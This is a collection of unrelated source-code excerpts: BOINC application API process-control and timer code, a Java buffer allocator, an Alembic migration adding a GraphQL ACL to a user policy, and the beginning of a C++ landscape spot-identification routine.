}
boinc_finish_diag();
// various platforms have problems shutting down a process
// while other threads are still executing,
// or triggering endless exit()/atexit() loops.
//
BOINCINFO("Exit Status: %d", status);
fflush(NULL);
#if defined(_WIN32)
// Halt all the threads and clean up.
TerminateProcess(GetCurrentProcess(), status);
// note: the above CAN return!
Sleep(1000);
DebugBreak();
#elif defined(__APPLE_CC__)
// stops endless exit()/atexit() loops.
_exit(status);
#else
// arrange to exit with given status even if errors happen
// in atexit() functions
//
set_signal_exit_code(status);
exit(status);
#endif
}
void boinc_network_usage(double sent, double received) {
bytes_sent = sent;
bytes_received = received;
}
int boinc_is_standalone() {
if (standalone) return 1;
return 0;
}
static void exit_from_timer_thread(int status) {
#ifdef DEBUG_BOINC_API
char buf[256];
fprintf(stderr, "%s exit_from_timer_thread(%d) called\n",
boinc_msg_prefix(buf, sizeof(buf)), status
);
#endif
#ifdef _WIN32
// TerminateProcess() doesn't work if there are suspended threads?
if (boinc_status.suspended) {
resume_activities();
}
// this seems to work OK on Windows
//
boinc_exit(status);
#else
// but on Unix there are synchronization problems;
// set a flag telling the worker thread to exit
//
worker_thread_exit_status = status;
worker_thread_exit_flag = true;
pthread_exit(NULL);
#endif
}
// parse the init data file.
// This is done at startup, and also if a "reread prefs" message is received
//
int boinc_parse_init_data_file() {
FILE* f;
int retval;
char buf[256];
if (aid.project_preferences) {
free(aid.project_preferences);
aid.project_preferences = NULL;
}
aid.clear();
aid.checkpoint_period = DEFAULT_CHECKPOINT_PERIOD;
if (!boinc_file_exists(INIT_DATA_FILE)) {
fprintf(stderr,
"%s Can't open init data file - running in standalone mode\n",
boinc_msg_prefix(buf, sizeof(buf))
);
return ERR_FOPEN;
}
f = boinc_fopen(INIT_DATA_FILE, "r");
retval = parse_init_data_file(f, aid);
fclose(f);
if (retval) {
fprintf(stderr,
"%s Can't parse init data file - running in standalone mode\n",
boinc_msg_prefix(buf, sizeof(buf))
);
return retval;
}
return 0;
}
int boinc_report_app_status_aux(
double cpu_time,
double checkpoint_cpu_time,
double _fraction_done,
int other_pid,
double _bytes_sent,
double _bytes_received
) {
char msg_buf[MSG_CHANNEL_SIZE], buf[1024];
if (standalone) return 0;
sprintf(msg_buf,
"<current_cpu_time>%e</current_cpu_time>\n"
"<checkpoint_cpu_time>%e</checkpoint_cpu_time>\n"
"<fraction_done>%e</fraction_done>\n",
cpu_time,
checkpoint_cpu_time,
_fraction_done
);
if (other_pid) {
sprintf(buf, "<other_pid>%d</other_pid>\n", other_pid);
strcat(msg_buf, buf);
}
if (_bytes_sent) {
sprintf(buf, "<bytes_sent>%f</bytes_sent>\n", _bytes_sent);
strcat(msg_buf, buf);
}
if (_bytes_received) {
sprintf(buf, "<bytes_received>%f</bytes_received>\n", _bytes_received);
strcat(msg_buf, buf);
}
if (app_client_shm->shm->app_status.send_msg(msg_buf)) {
return 0;
}
return ERR_WRITE;
}
int boinc_report_app_status(
double cpu_time,
double checkpoint_cpu_time,
double _fraction_done
){
return boinc_report_app_status_aux(
cpu_time, checkpoint_cpu_time, _fraction_done, 0, 0, 0
);
}
int boinc_get_init_data_p(APP_INIT_DATA* app_init_data) {
*app_init_data = aid;
return 0;
}
int boinc_get_init_data(APP_INIT_DATA& app_init_data) {
app_init_data = aid;
return 0;
}
int boinc_wu_cpu_time(double& cpu_t) {
cpu_t = last_wu_cpu_time;
return 0;
}
// Suspend this job.
// Can be called from either timer or worker thread.
//
static int suspend_activities(bool called_from_worker) {
#ifdef DEBUG_BOINC_API
char log_buf[256];
fprintf(stderr, "%s suspend_activities() called from %s\n",
boinc_msg_prefix(log_buf, sizeof(log_buf)),
called_from_worker?"worker thread":"timer thread"
);
#endif
#ifdef _WIN32
static vector<int> pids;
if (options.multi_thread) {
if (pids.size() == 0) {
pids.push_back(GetCurrentProcessId());
}
suspend_or_resume_threads(pids, timer_thread_id, false, true);
} else {
SuspendThread(worker_thread_handle);
}
#else
if (options.multi_process) {
suspend_or_resume_descendants(false);
}
// if called from worker thread, sleep until suspension is over
// if called from time thread, don't need to do anything;
// suspension is done by signal handler in worker thread
//
if (called_from_worker) {
while (boinc_status.suspended) {
sleep(1);
}
}
#endif
return 0;
}
int resume_activities() {
#ifdef DEBUG_BOINC_API
char log_buf[256];
fprintf(stderr, "%s resume_activities()\n",
boinc_msg_prefix(log_buf, sizeof(log_buf))
);
#endif
#ifdef _WIN32
static vector<int> pids;
if (options.multi_thread) {
if (pids.size() == 0) pids.push_back(GetCurrentProcessId());
suspend_or_resume_threads(pids, timer_thread_id, true, true);
} else {
ResumeThread(worker_thread_handle);
}
#else
if (options.multi_process) {
suspend_or_resume_descendants(true);
}
#endif
return 0;
}
static void handle_upload_file_status() {
char path[MAXPATHLEN], buf[256], log_name[256], *p, log_buf[256];
std::string filename;
int status;
relative_to_absolute("", path);
DirScanner dirscan(path);
while (dirscan.scan(filename)) {
strlcpy(buf, filename.c_str(), sizeof(buf));
if (strstr(buf, UPLOAD_FILE_STATUS_PREFIX) != buf) continue;
strlcpy(log_name, buf+strlen(UPLOAD_FILE_STATUS_PREFIX), sizeof(log_name));
FILE* f = boinc_fopen(filename.c_str(), "r");
if (!f) {
fprintf(stderr,
"%s handle_file_upload_status: can't open %s\n",
boinc_msg_prefix(buf, sizeof(buf)), filename.c_str()
);
continue;
}
p = fgets(buf, sizeof(buf), f);
fclose(f);
if (p && parse_int(buf, "<status>", status)) {
UPLOAD_FILE_STATUS uf;
uf.name = std::string(log_name);
uf.status = status;
upload_file_status.push_back(uf);
} else {
fprintf(stderr, "%s handle_upload_file_status: can't parse %s\n",
boinc_msg_prefix(log_buf, sizeof(log_buf)), buf
);
}
}
}
// handle trickle and file upload messages
//
static void handle_trickle_down_msg() {
char buf[MSG_CHANNEL_SIZE];
if (app_client_shm->shm->trickle_down.get_msg(buf)) {
BOINCINFO("Received Trickle Down Message");
if (match_tag(buf, "<have_trickle_down/>")) {
have_trickle_down = true;
}
if (match_tag(buf, "<upload_file_status/>")) {
handle_upload_file_status();
}
}
}
// This flag is set of we get a suspend request while in a critical section,
// and options.direct_process_action is set.
// As soon as we're not in the critical section we'll do the suspend.
//
static bool suspend_request = false;
// runs in timer thread
//
static void handle_process_control_msg() {
char buf[MSG_CHANNEL_SIZE];
if (app_client_shm->shm->process_control_request.get_msg(buf)) {
acquire_mutex();
#ifdef DEBUG_BOINC_API
char log_buf[256];
fprintf(stderr, "%s got process control msg %s\n",
boinc_msg_prefix(log_buf, sizeof(log_buf)), buf
);
#endif
if (match_tag(buf, "<suspend/>")) {
BOINCINFO("Received suspend message");
if (options.direct_process_action) {
if (in_critical_section) {
suspend_request = true;
} else {
boinc_status.suspended = true;
suspend_request = false;
suspend_activities(false);
}
} else {
boinc_status.suspended = true;
}
}
if (match_tag(buf, "<resume/>")) {
BOINCINFO("Received resume message");
if (options.direct_process_action) {
if (boinc_status.suspended) {
resume_activities();
} else if (suspend_request) {
suspend_request = false;
}
}
boinc_status.suspended = false;
}
if (boinc_status.quit_request || match_tag(buf, "<quit/>")) {
BOINCINFO("Received quit message");
boinc_status.quit_request = true;
if (!in_critical_section && options.direct_process_action) {
exit_from_timer_thread(0);
}
}
if (boinc_status.abort_request || match_tag(buf, "<abort/>")) {
BOINCINFO("Received abort message");
boinc_status.abort_request = true;
if (!in_critical_section && options.direct_process_action) {
diagnostics_set_aborted_via_gui();
#if defined(_WIN32)
// Cause a controlled assert and dump the callstacks.
DebugBreak();
#elif defined(__APPLE__)
PrintBacktrace();
#endif
release_mutex();
exit_from_timer_thread(EXIT_ABORTED_BY_CLIENT);
}
}
if (match_tag(buf, "<reread_app_info/>")) {
boinc_status.reread_init_data_file = true;
}
if (match_tag(buf, "<network_available/>")) {
have_network = 1;
}
release_mutex();
}
}
// timer handler; runs in the timer thread
//
static void timer_handler() {
char buf[512];
#ifdef DEBUG_BOINC_API
fprintf(stderr, "%s timer handler: disabled %s; in critical section %s; finishing %s\n",
boinc_msg_prefix(buf, sizeof(buf)),
boinc_disable_timer_thread?"yes":"no",
in_critical_section?"yes":"no",
finishing?"yes":"no"
);
#endif
if (boinc_disable_timer_thread) {
return;
}
if (finishing) {
if (options.send_status_msgs) {
double cur_cpu = boinc_worker_thread_cpu_time();
last_wu_cpu_time = cur_cpu + initial_wu_cpu_time;
update_app_progress(last_wu_cpu_time, last_checkpoint_cpu_time);
}
boinc_disable_timer_thread = true;
return;
}
interrupt_count++;
if (!boinc_status.suspended) {
running_interrupt_count++;
}
// handle messages from the core client
//
if (app_client_shm) {
if (options.check_heartbeat) {
handle_heartbeat_msg();
}
if (options.handle_trickle_downs) {
handle_trickle_down_msg();
}
if (options.handle_process_control) {
handle_process_control_msg();
}
}
if (interrupt_count % TIMERS_PER_SEC) return;
#ifdef DEBUG_BOINC_API
fprintf(stderr, "%s 1 sec elapsed - doing slow actions\n", boinc_msg_prefix(buf, sizeof(buf)));
#endif
// here if we're at a one-second boundary; do slow stuff
//
if (!ready_to_checkpoint) {
time_until_checkpoint -= 1;
if (time_until_checkpoint <= 0) {
ready_to_checkpoint = true;
}
}
// see if the core client has died, which means we need to die too
// (unless we're in a critical section)
//
if (in_critical_section==0 && options.check_heartbeat) {
if (client_dead()) {
fprintf(stderr, "%s timer handler: client dead, exiting\n",
boinc_msg_prefix(buf, sizeof(buf))
);
if (options.direct_process_action) {
exit_from_timer_thread(0);
} else {
boinc_status.no_heartbeat = true;
}
}
}
// don't bother reporting CPU time etc. if we're suspended
//
if (options.send_status_msgs && !boinc_status.suspended) {
double cur_cpu = boinc_worker_thread_cpu_time();
last_wu_cpu_time = cur_cpu + initial_wu_cpu_time;
update_app_progress(last_wu_cpu_time, last_checkpoint_cpu_time);
}
if (options.handle_trickle_ups) {
send_trickle_up_msg();
}
if (timer_callback) {
timer_callback();
}
// send graphics-related messages
//
if (send_web_graphics_url && !app_client_shm->shm->graphics_reply.has_msg()) {
sprintf(buf,
"<web_graphics_url>%s</web_graphics_url>",
web_graphics_url
);
app_client_shm->shm->graphics_reply.send_msg(buf);
send_web_graphics_url = false;
}
if (send_remote_desktop_addr && !app_client_shm->shm->graphics_reply.has_msg()) {
sprintf(buf,
"<remote_desktop_addr>%s</remote_desktop_addr>",
remote_desktop_addr
);
app_client_shm->shm->graphics_reply.send_msg(buf);
send_remote_desktop_addr = false;
}
}
#ifdef _WIN32
DWORD WINAPI timer_thread(void *) {
while (1) {
Sleep((int)(TIMER_PERIOD*1000));
timer_handler();
// poor man's CPU time accounting for Win9x
//
if (!boinc_status.suspended) {
nrunning_ticks++;
}
}
return 0;
}
#else
static void* timer_thread(void*) {
block_sigalrm();
while(1) {
boinc_sleep(TIMER_PERIOD);
timer_handler();
}
return 0;
}
// This SIGALRM handler gets handled only by the worker thread.
// It gets CPU time and implements sleeping.
// It must call only signal-safe functions, and must not do FP math
//
static void worker_signal_handler(int) {
#ifndef GETRUSAGE_IN_TIMER_THREAD
getrusage(RUSAGE_SELF, &worker_thread_ru);
#endif
if (worker_thread_exit_flag) {
boinc_exit(worker_thread_exit_status);
}
if (options.direct_process_action) {
while (boinc_status.suspended && in_critical_section==0) {
#ifdef ANDROID
// per-thread signal masking doesn't work
// on old (pre-4.1) versions of Android.
// If we're handling this signal in the timer thread,
// send signal explicitly to worker thread.
//
if (pthread_self() == timer_thread_handle) {
pthread_kill(worker_thread_handle, SIGALRM);
return;
}
#endif
sleep(1); // don't use boinc_sleep() because it does FP math
}
}
}
#endif
// Called from the worker thread; create the timer thread
//
int start_timer_thread() {
char buf[256];
#ifdef _WIN32
// get the worker thread handle
//
DuplicateHandle(
GetCurrentProcess(),
GetCurrentThread(),
GetCurrentProcess(),
&worker_thread_handle,
0,
FALSE,
DUPLICATE_SAME_ACCESS
);
// Create the timer thread
//
if (!CreateThread(NULL, 0, timer_thread, 0, 0, &timer_thread_id)) {
fprintf(stderr,
"%s start_timer_thread(): CreateThread() failed, errno %d\n",
boinc_msg_prefix(buf, sizeof(buf)), errno
);
return errno;
}
if (!options.normal_thread_priority) {
// lower our (worker thread) priority
//
SetThreadPriority(worker_thread_handle, THREAD_PRIORITY_IDLE);
}
#else
worker_thread_handle = pthread_self();
pthread_attr_t thread_attrs;
pthread_attr_init(&thread_attrs);
pthread_attr_setstacksize(&thread_attrs, 32768);
int retval = pthread_create(&timer_thread_handle, &thread_attrs, timer_thread, NULL);
if (retval) {
fprintf(stderr,
"%s start_timer_thread(): pthread_create(): %d",
boinc_msg_prefix(buf, sizeof(buf)), retval
);
return retval;
}
#endif
return 0;
}
#ifndef _WIN32
// set up a periodic SIGALRM, to be handled by the worker thread
//
static int start_worker_signals() {
int retval;
struct sigaction sa;
itimerval value;
sa.sa_handler = worker_signal_handler;
sa.sa_flags = SA_RESTART;
sigemptyset(&sa.sa_mask);
retval = sigaction(SIGALRM, &sa, NULL);
if (retval) {
perror("boinc start_timer_thread() sigaction");
return retval;
}
value.it_value.tv_sec = 0;
value.it_value.tv_usec = (int)(TIMER_PERIOD*1e6);
value.it_interval = value.it_value;
retval = setitimer(ITIMER_REAL, &value, NULL);
if (retval) {
perror("boinc start_timer_thread() setitimer");
return retval;
}
return 0;
}
#endif
int boinc_send_trickle_up(char* variety, char* p) {
if (!options.handle_trickle_ups) return ERR_NO_OPTION;
FILE* f = boinc_fopen(TRICKLE_UP_FILENAME, "wb");
if (!f) return ERR_FOPEN;
fprintf(f, "<variety>%s</variety>\n", variety);
size_t n = fwrite(p, strlen(p), 1, f);
fclose(f);
if (n != 1) return ERR_WRITE;
have_new_trickle_up = true;
return 0;
}
int boinc_time_to_checkpoint() {
if (ready_to_checkpoint) {
boinc_begin_critical_section();
return 1;
}
return 0;
}
int boinc_checkpoint_completed() {
double cur_cpu;
cur_cpu = boinc_worker_thread_cpu_time();
last_wu_cpu_time = cur_cpu + aid.wu_cpu_time;
last_checkpoint_cpu_time = last_wu_cpu_time;
time_until_checkpoint = min_checkpoint_period();
boinc_end_critical_section();
ready_to_checkpoint = false;
return 0;
}
void boinc_begin_critical_section() {
#ifdef DEBUG_BOINC_API
char buf[256];
fprintf(stderr,
"%s begin_critical_section\n",
boinc_msg_prefix(buf, sizeof(buf))
);
#endif
in_critical_section++;
}
void boinc_end_critical_section() {
#ifdef DEBUG_BOINC_API
char buf[256];
fprintf(stderr,
"%s end_critical_section\n",
boinc_msg_prefix(buf, sizeof(buf))
);
#endif
in_critical_section--;
if (in_critical_section < 0) {
in_critical_section = 0; // just in case
}
if (in_critical_section) return;
// We're out of the critical section.
// See if we got suspend/quit/abort while in critical section,
// and handle them here.
//
if (boinc_status.quit_request) {
boinc_exit(0);
}
if (boinc_status.abort_request) {
boinc_exit(EXIT_ABORTED_BY_CLIENT);
}
if (options.direct_process_action) {
acquire_mutex();
if (suspend_request) {
suspend_request = false;
boinc_status.suspended = true;
release_mutex();
suspend_activities(true);
} else {
release_mutex();
}
}
}
int boinc_fraction_done(double x) {
fraction_done = x;
return 0;
}
int boinc_receive_trickle_down(char* buf, int len) {
std::string filename;
char path[MAXPATHLEN];
if (!options.handle_trickle_downs) return false;
if (have_trickle_down) {
relative_to_absolute("", path);
DirScanner dirscan(path);
while (dirscan.scan(filename)) {
if (strstr(filename.c_str(), "trickle_down")) {
strncpy(buf, filename.c_str(), len);
return true;
}
}
have_trickle_down = false;
}
return false;
}
int boinc_upload_file(std::string& name) {
char buf[256];
std::string pname;
int retval;
retval = boinc_resolve_filename_s(name.c_str(), pname);
if (retval) return retval;
sprintf(buf, "%s%s", UPLOAD_FILE_REQ_PREFIX, name.c_str());
FILE* f = boinc_fopen(buf, "w");
if (!f) return ERR_FOPEN;
have_new_upload_file = true;
fclose(f);
return 0;
}
int boinc_upload_status(std::string& name) {
for (unsigned int i=0; i<upload_file_status.size(); i++) {
UPLOAD_FILE_STATUS& ufs = upload_file_status[i];
if (ufs.name == name) {
return ufs.status;
}
}
return ERR_NOT_FOUND;
}
void boinc_need_network() {
want_network = 1;
have_network = 0;
}
int boinc_network_poll() {
return have_network?0:1;
}
void boinc_network_done() {
want_network = 0;
}
#ifndef _WIN32
// block SIGALRM, so that the worker thread will be forced to handle it
//
static void block_sigalrm() {
sigset_t mask;
sigemptyset(&mask);
sigaddset(&mask, SIGALRM);
pthread_sigmask(SIG_BLOCK, &mask, NULL);
}
#endif
void boinc_register_timer_callback(FUNC_PTR p) {
timer_callback = p;
}
double boinc_get_fraction_done() {
return fraction_done;
}
double boinc_elapsed_time() {
return running_interrupt_count*TIMER_PERIOD;
}
void boinc_web_graphics_url(char* url) {
if (standalone) return;
strlcpy(web_graphics_url, url, sizeof(web_graphics_url));
send_web_graphics_url = true;
}
void boinc_remote_desktop_addr(char* addr) {
if (standalone) return;
strlcpy(remote_desktop_addr, addr, sizeof(remote_desktop_addr));
send_remote_desktop_addr = true;
}
| Java |
/*
* BufferAllocator.java February 2001
*
* Copyright (C) 2001, Niall Gallagher <niallg@users.sf.net>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.util.buffer;
import java.io.IOException;
import java.io.InputStream;
/**
* The <code>BufferAllocator</code> object is used to provide a means to
* allocate buffers using a single underlying buffer. This uses a buffer from a
* existing allocator to create the region of memory to use to allocate all
* other buffers. As a result this allows a single buffer to acquire the bytes
* in a number of associated buffers. This has the advantage of allowing bytes
* to be read in sequence without joining data from other buffers or allocating
* multiple regions.
*
* @author Niall Gallagher
*/
public class BufferAllocator extends FilterAllocator implements Buffer {
/**
* This is the underlying buffer all other buffers are within.
*/
private Buffer buffer;
/**
* Constructor for the <code>BufferAllocator</code> object. This is used to
* instantiate the allocator with a default buffer size of half a kilobyte.
* This ensures that it can be used for general purpose byte storage and for
* minor I/O tasks.
*
* @param source
* this is where the underlying buffer is allocated
*/
public BufferAllocator(Allocator source) {
super(source);
}
/**
* Constructor for the <code>BufferAllocator</code> object. This is used to
* instantiate the allocator with a specified buffer size. This is typically
* used when a very specific buffer capacity is required, for example a
* request body with a known length.
*
* @param source
* this is where the underlying buffer is allocated
* @param capacity
* the initial capacity of the allocated buffers
*/
public BufferAllocator(Allocator source, long capacity) {
super(source, capacity);
}
/**
* Constructor for the <code>BufferAllocator</code> object. This is used to
* instantiate the allocator with a specified buffer size. This is typically
* used when a very specific buffer capacity is required, for example a
* request body with a known length.
*
* @param source
* this is where the underlying buffer is allocated
* @param capacity
* the initial capacity of the allocated buffers
* @param limit
* this is the maximum buffer size created by this
*/
public BufferAllocator(Allocator source, long capacity, long limit) {
super(source, capacity, limit);
}
/**
* This method is used so that a buffer can be represented as a stream of
* bytes. This provides a quick means to access the data that has been
* written to the buffer. It wraps the buffer within an input stream so that
* it can be read directly.
*
* @return a stream that can be used to read the buffered bytes
*/
@Override
public InputStream getInputStream() throws IOException {
if (this.buffer == null) {
this.allocate();
}
return this.buffer.getInputStream();
}
/**
* This method is used to acquire the buffered bytes as a string. This is
* useful if the contents need to be manipulated as a string or transferred
* into another encoding. If the UTF-8 content encoding is not supported the
* platform default is used, however this is unlikely as UTF-8 should be
* supported.
*
* @return this returns a UTF-8 encoding of the buffer contents
*/
@Override
public String encode() throws IOException {
if (this.buffer == null) {
this.allocate();
}
return this.buffer.encode();
}
/**
* This method is used to acquire the buffered bytes as a string. This is
* useful if the contents need to be manipulated as a string or transferred
* into another encoding. This will convert the bytes using the specified
* character encoding format.
*
* @return this returns the encoding of the buffer contents
*/
@Override
public String encode(String charset) throws IOException {
if (this.buffer == null) {
this.allocate();
}
return this.buffer.encode(charset);
}
/**
* This method is used to append bytes to the end of the buffer. This will
* expand the capacity of the buffer if there is not enough space to
* accommodate the extra bytes.
*
* @param array
* this is the byte array to append to this buffer
*
* @return this returns this buffer for another operation
*/
@Override
public Buffer append(byte[] array) throws IOException {
return this.append(array, 0, array.length);
}
/**
* This method is used to append bytes to the end of the buffer. This will
* expand the capacity of the buffer if there is not enough space to
* accommodate the extra bytes.
*
* @param array
* this is the byte array to append to this buffer
* @param size
* the number of bytes to be read from the array
* @param off
* this is the offset to begin reading the bytes from
*
* @return this returns this buffer for another operation
*/
@Override
public Buffer append(byte[] array, int off, int size) throws IOException {
if (this.buffer == null) {
this.allocate(size);
}
return this.buffer.append(array, off, size);
}
/**
* This will clear all data from the buffer. This simply sets the count to
* be zero, it will not clear the memory occupied by the instance as the
* internal buffer will remain. This allows the memory occupied to be reused
* as many times as is required.
*/
@Override
public void clear() throws IOException {
if (this.buffer != null) {
this.buffer.clear();
}
}
/**
* This method is used to ensure the buffer can be closed. Once the buffer
* is closed it is an immutable collection of bytes and can not longer be
* modified. This ensures that it can be passed by value without the risk of
* modification of the bytes.
*/
@Override
public void close() throws IOException {
if (this.buffer == null) {
this.allocate();
}
this.buffer.close();
}
/**
* This method is used to allocate a default buffer. This will allocate a
* buffer of predetermined size, allowing it to grow to an upper limit to
* accommodate extra data. If the buffer requested is larger than the limit
* an exception is thrown.
*
* @return this returns an allocated buffer with a default size
*/
@Override
public Buffer allocate() throws IOException {
return this.allocate(this.capacity);
}
/**
* This method is used to allocate a default buffer. This will allocate a
* buffer of predetermined size, allowing it to grow to an upper limit to
* accommodate extra data. If the buffer requested is larger than the limit
* an exception is thrown.
*
* @param size
* the initial capacity of the allocated buffer
*
* @return this returns an allocated buffer with a default size
*/
@Override
public Buffer allocate(long size) throws IOException {
if (size > this.limit)
throw new BufferException("Specified size %s beyond limit", size);
if (this.capacity > size) { // lazily create backing buffer
size = this.capacity;
}
if (this.buffer == null) {
this.buffer = this.source.allocate(size);
}
return this.buffer.allocate();
}
}
| Java |
"""add graphql ACL to users
Revision ID: 2d4882d39dbb
Revises: c4d0e9ec46a9
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '2d4882d39dbb'
down_revision = 'dc2848563b53'
POLICY_NAME = 'wazo_default_user_policy'
ACL_TEMPLATES = ['dird.graphql.me']
policy_table = sa.sql.table(
'auth_policy', sa.Column('uuid', sa.String(38)), sa.Column('name', sa.String(80))
)
acl_template_table = sa.sql.table(
'auth_acl_template', sa.Column('id', sa.Integer), sa.Column('template', sa.Text)
)
policy_template = sa.sql.table(
'auth_policy_template',
sa.Column('policy_uuid', sa.String(38)),
sa.Column('template_id', sa.Integer),
)
def _find_acl_template(conn, acl_template):
query = (
sa.sql.select([acl_template_table.c.id])
.where(acl_template_table.c.template == acl_template)
.limit(1)
)
return conn.execute(query).scalar()
def _find_acl_templates(conn, acl_templates):
acl_template_ids = []
for acl_template in acl_templates:
acl_template_id = _find_acl_template(conn, acl_template)
if acl_template_id:
acl_template_ids.append(acl_template_id)
return acl_template_ids
def _get_policy_uuid(conn, policy_name):
policy_query = sa.sql.select([policy_table.c.uuid]).where(
policy_table.c.name == policy_name
)
for policy in conn.execute(policy_query).fetchall():
return policy[0]
def _insert_acl_template(conn, acl_templates):
acl_template_ids = []
for acl_template in acl_templates:
acl_template_id = _find_acl_template(conn, acl_template)
if not acl_template_id:
query = (
acl_template_table.insert()
.returning(acl_template_table.c.id)
.values(template=acl_template)
)
acl_template_id = conn.execute(query).scalar()
acl_template_ids.append(acl_template_id)
return acl_template_ids
def _get_acl_template_ids(conn, policy_uuid):
query = sa.sql.select([policy_template.c.template_id]).where(
policy_template.c.policy_uuid == policy_uuid
)
return [acl_template_id for (acl_template_id,) in conn.execute(query).fetchall()]
def upgrade():
conn = op.get_bind()
policy_uuid = _get_policy_uuid(conn, POLICY_NAME)
if not policy_uuid:
return
acl_template_ids = _insert_acl_template(conn, ACL_TEMPLATES)
acl_template_ids_already_associated = _get_acl_template_ids(conn, policy_uuid)
for template_id in set(acl_template_ids) - set(acl_template_ids_already_associated):
query = policy_template.insert().values(
policy_uuid=policy_uuid, template_id=template_id
)
conn.execute(query)
def downgrade():
conn = op.get_bind()
acl_template_ids = _find_acl_templates(conn, ACL_TEMPLATES)
if not acl_template_ids:
return
policy_uuid = _get_policy_uuid(conn, POLICY_NAME)
if not policy_uuid:
return
delete_query = policy_template.delete().where(
sa.sql.and_(
policy_template.c.policy_uuid == policy_uuid,
policy_template.c.template_id.in_(acl_template_ids),
)
)
op.execute(delete_query)
| Java |
#include "VCL.h"
#include "Unit1.h"
#include "GridMap.h"
#include "defines.h"
#include "matrix_utils.h"
#include "bat_run.h"
#include "LoadData.h"
#include <cstdio>
#include <ctime>
#include <cstring>
#include <cmath>
// special LSM mode with "-1 distance" = no aggregation of spots, just statistics per unit
bool LSM_minus1_mode = false;
float top_percent, min_percent, max_dist, min_simil;
String LSIRfn, LSIDfn, LSImask;
int spot_cnt, nwc, ccnt;
int **cm=0, **nwm, nwns_cnt;
std::vector<struct spot> spots;
std::vector<int> s_in_nw;
std::vector<bool> nw_in_min;
std::vector<float> Ebd;
class GridMap LSI_maskmap;
void get_candidate_cells()
{
float val_th;
int x, y;
val_th = 1.0f-top_percent;
ccnt=0;
for(y=0; y<yd; y++)
{
for(x=0; x<xd; x++)
{
if (sol[y][x]>=val_th)
{
cm[y][x]=0;
ccnt++;
}
else
cm[y][x]=-1;
}
}
Form1->Memo1->Lines->Add("Potential cells count = "+IntToStr(ccnt));
}
bool nb_in_s(int x, int y, int s)
{
int minx, miny, maxx, maxy, gx,gy;
minx=max(0, x-1);
miny=max(0, y-1);
maxx=min(xd,x+1);
maxy=min(yd,y+1);
for(gy=miny; gy<=maxy; gy++)
{
for(gx=minx; gx<=maxx; gx++)
if (cm[gy][gx]==s)
return true;
}
return false;
}
bool add_to_spot(int s)
{
int minx, maxx, miny, maxy, x, y, loop;
bool added;
float val, *rowp;
minx=max(0, spots[s].min_gx-1);
miny=max(0, spots[s].min_gy-1);
maxx=min(xd,spots[s].max_gx+1);
maxy=min(yd,spots[s].max_gy+1);
added=false;
for(y=miny; y<=maxy; y++)
{
for(x=minx; x<=maxx; x++)
{
// if (cm[y][x]==0)
if ((cm[y][x]!=s) && (cm[y][x]!=-1))
{
// Form1->Memo1->Lines->Add("HERE");
if (nb_in_s(x,y,s))
{
// Form1->Memo1->Lines->Add("YES");
cm[y][x]=s;
spots[s].area++;
spots[s].rank += sol[y][x];
spots[s].mean_gx += x;
spots[s].mean_gy += y;
spots[s].min_gx=min(spots[s].min_gx, x);
spots[s].min_gy=min(spots[s].min_gy, y);
spots[s].max_gx=max(spots[s].max_gx, x);
spots[s].max_gy=max(spots[s].max_gy, y);
if (sol[y][x]>(1.0f-min_percent))
spots[s].in_min_percent=true;
// rowp=&vmat[y][x][0]; // COMPACT_VMAT
Biodiv_Features_Occur_Container& rowp = vmat[y][x];
for(loop=0; loop<map_cnt; loop++)
{
//std::cerr << "rowp: " << rowp.size() << std::endl;
val = rowp[loop];
if (val!=-1)
spots[s].bdv[loop] += val;
// else
// spots[s].bdv[loop] = 0.0f;
}
added=true;
}
}
}
}
return added;
}
void expand_spot(int x, int y)
{
bool added;
int loop;
spots[spot_cnt].bdv = 0;
spots[spot_cnt].min_gx = x;
spots[spot_cnt].min_gy = y;
spots[spot_cnt].max_gx = x;
spots[spot_cnt].max_gy = y;
spots[spot_cnt].mean_gx = static_cast<float>(x);
spots[spot_cnt].mean_gy = static_cast<float>(y);
spots[spot_cnt].area = 1;
spots[spot_cnt].rank = sol[y][x];
if (sol[y][x]>=(1.0f-min_percent))
spots[spot_cnt].in_min_percent=true;
else
spots[spot_cnt].in_min_percent=false;
spots[spot_cnt].bdv = new float[map_cnt];
for(loop=0; loop<map_cnt; loop++)
spots[spot_cnt].bdv[loop] =0.0f;
cm[y][x]=spot_cnt;
do {
added = add_to_spot(spot_cnt);
Application->ProcessMessages();
} while(added);
#if 0
char txt[255];
sprintf(txt,"Spot %i A=%i Xmin=%i xmax=%i ymin=%i ymax=%i mean-x=%0.3f mean-y=%0.3f",
spot_cnt, spots[spot_cnt].area, spots[spot_cnt].min_gx,
spots[spot_cnt].max_gx, spots[spot_cnt].min_gy,
spots[spot_cnt].max_gy,
spots[spot_cnt].mean_gx, spots[spot_cnt].mean_gy);
// if ((spot_cnt%10)==0)
Form1->Memo1->Lines->Add(txt);
#endif
}
void get_spots()
{
float val_th;
int x, y, in_cnt;
spot_cnt=1;
const size_t DEF_MAX_SPOTS = 2048;
spots.reserve(DEF_MAX_SPOTS);
try {
spots.resize(spot_cnt+1);
} catch(std::bad_alloc const& ex) {
Form1->Memo1->Lines->Add("Out of memory in landscape identification: "+String(ex.what()));
}
in_cnt =0;
for(y=0; y<yd; y++)
{
for(x=0; x<xd; x++)
{
if (cm[y][x]==0)
{
Application->ProcessMessages();
expand_spot(x,y);
if (spots[spot_cnt].in_min_percent)
in_cnt++;
// Form1->Memo1->Lines->Add("New spot, area = "
// +IntToStr(spots[spot_cnt].area));
spot_cnt++;
spots.resize(spots.size()+1);
if ((spot_cnt%1000)==0)
Form1->Memo1->Lines->Add("Spot count = "+IntToStr(spot_cnt-1));
}
}
}
Form1->Memo1->Lines->Add("Spot count = "+IntToStr(spot_cnt-1));
Form1->Memo1->Lines->Add("Spots including best areas count = "+IntToStr(in_cnt));
}
float calc_dist(int s1, int s2)
{
float dij, dx, dy, dm2;
float minx1, minx2, maxx1, maxx2, miny1, miny2, maxy1, maxy2;
int x1, x2, y1, y2;
dm2 = max_dist*max_dist;
if (dm2==0)
return (max_dist+1.0f); // with zero dist, separate spots cannot be joined
minx1=static_cast<float>(spots[s1].min_gx);
maxx1=static_cast<float>(spots[s1].max_gx);
miny1=static_cast<float>(spots[s1].min_gy);
maxy1=static_cast<float>(spots[s1].max_gy);
